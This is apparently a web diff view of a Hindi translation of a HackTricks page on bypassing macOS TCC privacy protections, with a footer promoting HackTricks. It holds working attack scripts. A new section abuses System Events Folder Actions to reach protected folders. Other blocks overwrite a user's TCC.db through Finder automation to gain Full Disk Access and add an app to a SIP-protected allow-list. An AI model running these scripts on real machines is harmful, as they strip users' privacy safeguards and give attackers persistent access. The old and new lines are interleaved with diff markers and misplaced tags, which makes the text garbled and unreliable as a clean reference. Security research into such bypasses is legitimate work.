इसलिए, आप FDA क्षमताओं का पूर्ण दुरुपयोग नहीं कर पाएंगे।
|
इसलिए, आप FDA क्षमताओं का पूरा दुरुपयोग नहीं कर पाएंगे।
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
यह TCC प्रॉम्प्ट Finder पर Automation विशेषाधिकार प्राप्त करने के लिए है:
|
यह TCC प्रॉम्प्ट है जिससे Finder पर Automation विशेषाधिकार प्राप्त करने के लिए:
|
||||||
|
|
||||||
<figure><img src="../../../../.gitbook/assets/image (1).png" alt="" width="244"><figcaption></figcaption></figure>
|
<figure><img src="../../../../.gitbook/assets/image (1).png" alt="" width="244"><figcaption></figcaption></figure>
|
||||||
|
|
||||||
|
@ -400,7 +398,7 @@ EOD
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary>Automator के अंदर एक shell प्राप्त करें</summary>
|
<summary>Automator के अंदर एक शेल प्राप्त करें</summary>
|
||||||
```applescript
|
```applescript
|
||||||
osascript<<EOD
|
osascript<<EOD
|
||||||
set theScript to "touch /tmp/something"
|
set theScript to "touch /tmp/something"
|
||||||
|
@ -424,12 +422,56 @@ EOD
|
||||||
|
|
||||||
वही **Script Editor app** के साथ होता है, यह Finder को नियंत्रित कर सकता है, लेकिन AppleScript का उपयोग करके आप इसे स्क्रिप्ट निष्पादित करने के लिए मजबूर नहीं कर सकते।
|
वही **Script Editor app** के साथ होता है, यह Finder को नियंत्रित कर सकता है, लेकिन AppleScript का उपयोग करके आप इसे स्क्रिप्ट निष्पादित करने के लिए मजबूर नहीं कर सकते।
|
||||||
|
|
||||||
### Automation + Accessibility (**`kTCCServicePostEvent`**) से FDA\*
|
### Automation (SE) कुछ TCC के लिए
|
||||||
|
|
||||||
**`System Events`** पर Automation + Accessibility (**`kTCCServicePostEvent`**) **प्रक्रियाओं को कीस्ट्रोक्स भेजने** की अनुमति देता है। इस तरह आप Finder का दुरुपयोग करके उपयोगकर्ता के TCC.db को बदल सकते हैं या किसी मनमाने ऐप को FDA दे सकते हैं (हालांकि इसके लिए पासवर्ड की प्रॉम्प्ट हो सकती है)।
|
System Events Folder Actions बना सकते हैं, और Folder actions कुछ TCC फोल्डर्स तक पहुँच सकते हैं, इसलिए निम्नलिखित जैसी स्क्रिप्ट का उपयोग इस व्यवहार का दुरुपयोग करने के लिए किया जा सकता है:
|
||||||
|
|
||||||
|
</details>
|
||||||
|
```bash
|
||||||
|
# Create script to execute with the action
|
||||||
|
cat > "/tmp/script.js" <<EOD
|
||||||
|
var app = Application.currentApplication();
|
||||||
|
app.includeStandardAdditions = true;
|
||||||
|
app.doShellScript("/Applications/iTerm.app/Contents/MacOS/iTerm2");
|
||||||
|
EOD
|
||||||
|
|
||||||
|
osacompile -l JavaScript -o "$HOME/Library/Scripts/Folder Action Scripts/script.scpt" "/tmp/script.js"
|
||||||
|
|
||||||
|
# Create folder action with System Events in "$HOME/Desktop"
|
||||||
|
osascript <<EOD
|
||||||
|
tell application "System Events"
|
||||||
|
-- Ensure Folder Actions are enabled
|
||||||
|
set folder actions enabled to true
|
||||||
|
|
||||||
|
-- Define the path to the folder and the script
|
||||||
|
set homeFolder to path to home folder as text
|
||||||
|
set folderPath to homeFolder & "Desktop"
|
||||||
|
set scriptPath to homeFolder & "Library:Scripts:Folder Action Scripts:script.scpt"
|
||||||
|
|
||||||
|
-- Create or get the Folder Action for the Desktop
|
||||||
|
if not (exists folder action folderPath) then
|
||||||
|
make new folder action at end of folder actions with properties {name:folderPath, path:folderPath}
|
||||||
|
end if
|
||||||
|
set myFolderAction to folder action folderPath
|
||||||
|
|
||||||
|
-- Attach the script to the Folder Action
|
||||||
|
if not (exists script scriptPath of myFolderAction) then
|
||||||
|
make new script at end of scripts of myFolderAction with properties {name:scriptPath, path:scriptPath}
|
||||||
|
end if
|
||||||
|
|
||||||
|
-- Enable the Folder Action and the script
|
||||||
|
enable myFolderAction
|
||||||
|
end tell
|
||||||
|
EOD
|
||||||
|
|
||||||
|
# Open the folder, this won't be enough, but just getting out of it, or getting it is enough to trigger the folder action script
|
||||||
|
open "$HOME/Desktop"
|
||||||
|
```
|
||||||
|
### स्वचालन (SE) + पहुँच क्षमता (**`kTCCServicePostEvent`)** FDA\* के लिए
|
||||||
|
|
||||||
|
**`System Events`** पर स्वचालन + पहुँच क्षमता (**`kTCCServicePostEvent`**) **प्रक्रियाओं को कीस्ट्रोक्स भेजने** की अनुमति देता है। इस तरह आप Finder का उपयोग करके उपयोगकर्ता के TCC.db को बदल सकते हैं या किसी मनमाने ऐप को FDA दे सकते हैं (हालांकि इसके लिए पासवर्ड की प्रॉम्प्ट हो सकती है)।
|
||||||
|
|
||||||
Finder द्वारा उपयोगकर्ता के TCC.db को ओवरराइट करने का उदाहरण:
|
Finder द्वारा उपयोगकर्ता के TCC.db को ओवरराइट करने का उदाहरण:
|
||||||
</details>
|
|
||||||
```applescript
|
```applescript
|
||||||
-- store the TCC.db file to copy in /tmp
|
-- store the TCC.db file to copy in /tmp
|
||||||
osascript <<EOF
|
osascript <<EOF
|
||||||
|
@ -477,7 +519,7 @@ EOF
|
||||||
```
|
```
|
||||||
### **Endpoint Security Client से FDA तक**
|
### **Endpoint Security Client से FDA तक**
|
||||||
|
|
||||||
यदि आपके पास **`kTCCServiceEndpointSecurityClient`** है, तो आपके पास FDA है। समाप्त।
|
यदि आपके पास **`kTCCServiceEndpointSecurityClient`** है, तो आपके पास FDA है। अंत।
|
||||||
|
|
||||||
### System Policy SysAdmin File से FDA तक
|
### System Policy SysAdmin File से FDA तक
|
||||||
|
|
||||||
|
@ -485,7 +527,7 @@ EOF
|
||||||
|
|
||||||
### User TCC DB से FDA तक
|
### User TCC DB से FDA तक
|
||||||
|
|
||||||
उपयोगकर्ता TCC डेटाबेस पर **लिखने की अनुमति** प्राप्त करके आप खुद को **`FDA`** अनुमतियाँ नहीं दे सकते, केवल वही जो सिस्टम डेटाबेस में रहता है वह यह अनुमति दे सकता है।
|
उपयोगकर्ता TCC डेटाबेस पर **लिखने की अनुमति** प्राप्त करके आप खुद को **`FDA`** अनुमतियां नहीं दे सकते, केवल वही जो सिस्टम डेटाबेस में रहता है वह यह अनुमति दे सकता है।
|
||||||
|
|
||||||
लेकिन आप खुद को **`Finder के लिए Automation अधिकार`** दे सकते हैं, और पिछली तकनीक का दुरुपयोग करके FDA तक बढ़ा सकते हैं\*।
|
लेकिन आप खुद को **`Finder के लिए Automation अधिकार`** दे सकते हैं, और पिछली तकनीक का दुरुपयोग करके FDA तक बढ़ा सकते हैं\*।
|
||||||
|
|
||||||
|
@ -493,18 +535,18 @@ EOF
|
||||||
|
|
||||||
**Full Disk Access** का TCC नाम **`kTCCServiceSystemPolicyAllFiles`** है
|
**Full Disk Access** का TCC नाम **`kTCCServiceSystemPolicyAllFiles`** है
|
||||||
|
|
||||||
मुझे नहीं लगता कि यह एक वास्तविक privesc है, लेकिन यदि आपको यह उपयोगी लगे: यदि आप FDA के साथ एक प्रोग्राम को नियंत्रित करते हैं तो आप **उपयोगकर्ता के TCC डेटाबेस को संशोधित कर सकते हैं और खुद को कोई भी एक्सेस दे सकते हैं**। यह एक पर्सिस्टेंस तकनीक के रूप में उपयोगी हो सकता है यदि आप अपनी FDA अनुमतियाँ खो सकते हैं।
|
मुझे नहीं लगता कि यह एक वास्तविक privesc है, लेकिन यदि आपको यह उपयोगी लगे: यदि आप FDA के साथ एक प्रोग्राम को नियंत्रित करते हैं तो आप **उपयोगकर्ता के TCC डेटाबेस को संशोधित कर सकते हैं और खुद को कोई भी एक्सेस दे सकते हैं**। यह एक पर्सिस्टेंस तकनीक के रूप में उपयोगी हो सकता है यदि आप अपनी FDA अनुमतियां खो सकते हैं।
|
||||||
|
|
||||||
### **SIP Bypass से TCC Bypass तक**
|
### **SIP Bypass से TCC Bypass तक**
|
||||||
|
|
||||||
सिस्टम **TCC डेटाबेस** **SIP** द्वारा संरक्षित है, इसलिए केवल उन प्रक्रियाओं के साथ **इंडिकेटेड एंटाइटलमेंट्स** होने पर ही इसे संशोधित करने में सक्षम होंगे। इसलिए, यदि एक हमलावर को **SIP बायपास** मिलता है एक **फाइल** पर (SIP द्वारा प्रतिबंधित एक फाइल को संशोधित करने में सक्षम हो), वह सक्षम होगा:
|
सिस्टम **TCC डेटाबेस** **SIP** द्वारा संरक्षित है, इसलिए केवल उन प्रक्रियाओं के साथ जिनके पास **निर्दिष्ट entitlements हैं, वे इसे संशोधित करने में सक्षम होंगे**। इसलिए, यदि एक हमलावर को **SIP बायपास** मिलता है एक **फाइल** पर (SIP द्वारा प्रतिबंधित एक फाइल को संशोधित करने में सक्षम हो), वह सक्षम होगा:
|
||||||
|
|
||||||
* TCC डेटाबेस की सुरक्षा को **हटाने** के लिए, और खुद को सभी TCC अनुमतियाँ देने के लिए। वह इन फाइलों में से किसी का भी दुरुपयोग कर सकता है, उदाहरण के लिए:
|
* TCC डेटाबेस की सुरक्षा को **हटाने** के लिए, और खुद को सभी TCC अनुमतियां देने के लिए। वह इन फाइलों में से किसी का भी दुरुपयोग कर सकता है, उदाहरण के लिए:
|
||||||
* TCC सिस्टम्स डेटाबेस
|
* TCC सिस्टम्स डेटाबेस
|
||||||
* REG.db
|
* REG.db
|
||||||
* MDMOverrides.plist
|
* MDMOverrides.plist
|
||||||
|
|
||||||
हालांकि, TCC को बायपास करने के लिए इस **SIP बायपास** का दुरुपयोग करने का एक और विकल्प है, फाइल `/Library/Apple/Library/Bundles/TCC_Compatibility.bundle/Contents/Resources/AllowApplicationsList.plist` एक अनुमति सूची है जिसमें ऐसे एप्लिकेशन हैं जिन्हें TCC अपवाद की आवश्यकता होती है। इसलिए, यदि एक हमलावर इस फाइल से **SIP सुरक्षा को हटा सकता है** और अपना **खुद का एप्लिकेशन** जोड़ सकता है तो एप्लिकेशन TCC को बायपास करने में सक्षम होगा।\
|
हालांकि, TCC को बायपास करने के लिए इस **SIP बायपास का दुरुपयोग करने का एक और विकल्प है**, फाइल `/Library/Apple/Library/Bundles/TCC_Compatibility.bundle/Contents/Resources/AllowApplicationsList.plist` एक अनुमति सूची है जिसमें ऐसे एप्लिकेशन हैं जिन्हें TCC अपवाद की आवश्यकता है। इसलिए, यदि एक हमलावर इस फाइल से **SIP सुरक्षा को हटा सकता है** और अपना **खुद का एप्लिकेशन जोड़ सकता है** तो एप्लिकेशन TCC को बायपास करने में सक्षम होगा।\
|
||||||
उदाहरण के लिए टर्मिनल जोड़ने के लिए:
|
उदाहरण के लिए टर्मिनल जोड़ने के लिए:
|
||||||
```bash
|
```bash
|
||||||
# Get needed info
|
# Get needed info
|
||||||
|
@ -552,7 +594,7 @@ AllowApplicationsList.plist:
|
||||||
|
|
||||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||||
|
|
||||||
* क्या आप **साइबर सुरक्षा कंपनी** में काम करते हैं? क्या आप चाहते हैं कि आपकी **कंपनी का विज्ञापन HackTricks में दिखाई दे**? या क्या आप **PEASS के नवीनतम संस्करण तक पहुँच चाहते हैं या HackTricks को PDF में डाउनलोड करना चाहते हैं**? [**सब्सक्रिप्शन प्लान्स**](https://github.com/sponsors/carlospolop) देखें!
|
* क्या आप **साइबरसिक्योरिटी कंपनी** में काम करते हैं? क्या आप चाहते हैं कि आपकी **कंपनी का विज्ञापन HackTricks में दिखाई दे**? या क्या आप **PEASS के नवीनतम संस्करण तक पहुँच चाहते हैं या HackTricks को PDF में डाउनलोड करना चाहते हैं**? [**सब्सक्रिप्शन प्लान्स**](https://github.com/sponsors/carlospolop) देखें!
|
||||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) की खोज करें, हमारा विशेष [**NFTs**](https://opensea.io/collection/the-peass-family) संग्रह।
|
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) की खोज करें, हमारा विशेष [**NFTs**](https://opensea.io/collection/the-peass-family) संग्रह।
|
||||||
* [**आधिकारिक PEASS & HackTricks स्वैग**](https://peass.creator-spring.com) प्राप्त करें।
|
* [**आधिकारिक PEASS & HackTricks स्वैग**](https://peass.creator-spring.com) प्राप्त करें।
|
||||||
* **[**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) में शामिल हों या [**telegram group**](https://t.me/peass) में या मुझे **Twitter** पर **फॉलो** करें [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
* **[**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) में शामिल हों या [**telegram group**](https://t.me/peass) में या मुझे **Twitter** पर **फॉलो** करें [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||||
|
|
Loading…
Reference in a new issue